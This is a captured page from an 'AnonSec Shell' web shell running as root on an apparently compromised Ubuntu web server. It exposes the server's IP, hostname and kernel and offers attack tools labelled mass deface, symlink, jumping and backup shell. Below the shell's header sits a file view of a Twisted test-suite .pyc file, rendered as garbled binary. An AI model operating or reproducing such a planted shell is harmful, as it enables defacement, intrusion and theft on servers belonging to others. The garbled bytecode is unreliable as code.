AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/internet/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/internet/test/__pycache__/test_filedescriptor.cpython-310.pyc
o

�b�
�@shdZddlmZddlmZddlmZddlmZGdd�de�Z	Gdd	�d	e�Z
Gd
d�de�ZdS)
zA
Whitebox tests for L{twisted.internet.abstract.FileDescriptor}.
�)�verifyClass)�FileDescriptor)�
IPushProducer)�SynchronousTestCasec@s4eZdZdZdZdd�Zdd�Zdd�Zd	d
�ZdS)�
MemoryFilea-
    A L{FileDescriptor} customization which writes to a Python list in memory
    with certain limitations.

    @ivar _written: A C{list} of C{bytes} which have been accepted as written.

    @ivar _freeSpace: A C{int} giving the number of bytes which will be accepted
        by future writes.
    TcCs tj|t�d�g|_d|_dS)N��reactorr)r�__init__�object�_written�
_freeSpace��self�r�K/usr/lib/python3/dist-packages/twisted/internet/test/test_filedescriptor.pyr	s
zMemoryFile.__init__cC�dS�Nrr
rrr�startWriting"�zMemoryFile.startWritingcCrrrr
rrr�stopWriting%rzMemoryFile.stopWritingcCs:t|jt|��}|r|j|8_|j�|d|��|S)z�
        Copy at most C{self._freeSpace} bytes from C{data} into C{self._written}.

        @return: A C{int} indicating how many bytes were copied from C{data}.
        N)�minr�lenr�append)r�data�acceptLengthrrr�
writeSomeData(s
zMemoryFile.writeSomeDataN)	�__name__�
__module__�__qualname__�__doc__�	connectedr	rrrrrrrrs
rc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�FileDescriptorTestsz&
    Tests for L{FileDescriptor}.
    cCs tt�d�}|�t|jd�dS)zF
        L{FileDescriptor.write} doesn't accept unicode data.
        r�fooN)rr
�assertRaises�	TypeError�write�r�fileDescriptorrrr�$test_writeWithUnicodeRaisesException:sz8FileDescriptorTests.test_writeWithUnicodeRaisesExceptioncCs$tt�d�}|�t|jgd��dS)zN
        L{FileDescriptor.writeSequence} doesn't accept unicode data.
        r)sfoo�barsbazN)rr
r#r$�
writeSequencer&rrr�,test_writeSequenceWithUnicodeRaisesExceptionAs�z@FileDescriptorTests.test_writeSequenceWithUnicodeRaisesExceptioncCs|�ttt��dS)zF
        L{FileDescriptor} should implement L{IPushProducer}.
        N)�
assertTruerrrr
rrr�$test_implementInterfaceIPushProducerJsz8FileDescriptorTests.test_implementInterfaceIPushProducerN)rrrrr(r+r-rrrrr!5s
	r!c@seZdZdZdd�ZdS)�WriteDescriptorTestszN
    Tests for L{FileDescriptor}'s implementation of L{IWriteDescriptor}.
    cCs"t�}|�d�|�|���dS)z�
        When L{FileDescriptor.writeSomeData} returns C{0} to indicate no more
        data can be written immediately, L{FileDescriptor.doWrite} returns
        L{None}.
        shello, worldN)rr%�assertIsNone�doWrite)r�
descriptorrrr�test_kernelBufferFullVs
z*WriteDescriptorTests.test_kernelBufferFullN)rrrrr2rrrrr.Qsr.N)r�zope.interface.verifyr�twisted.internet.abstractr�twisted.internet.interfacesr�twisted.trial.unittestrrr!r.rrrr�<module>s%

Anon7 - 2022
AnonSec Team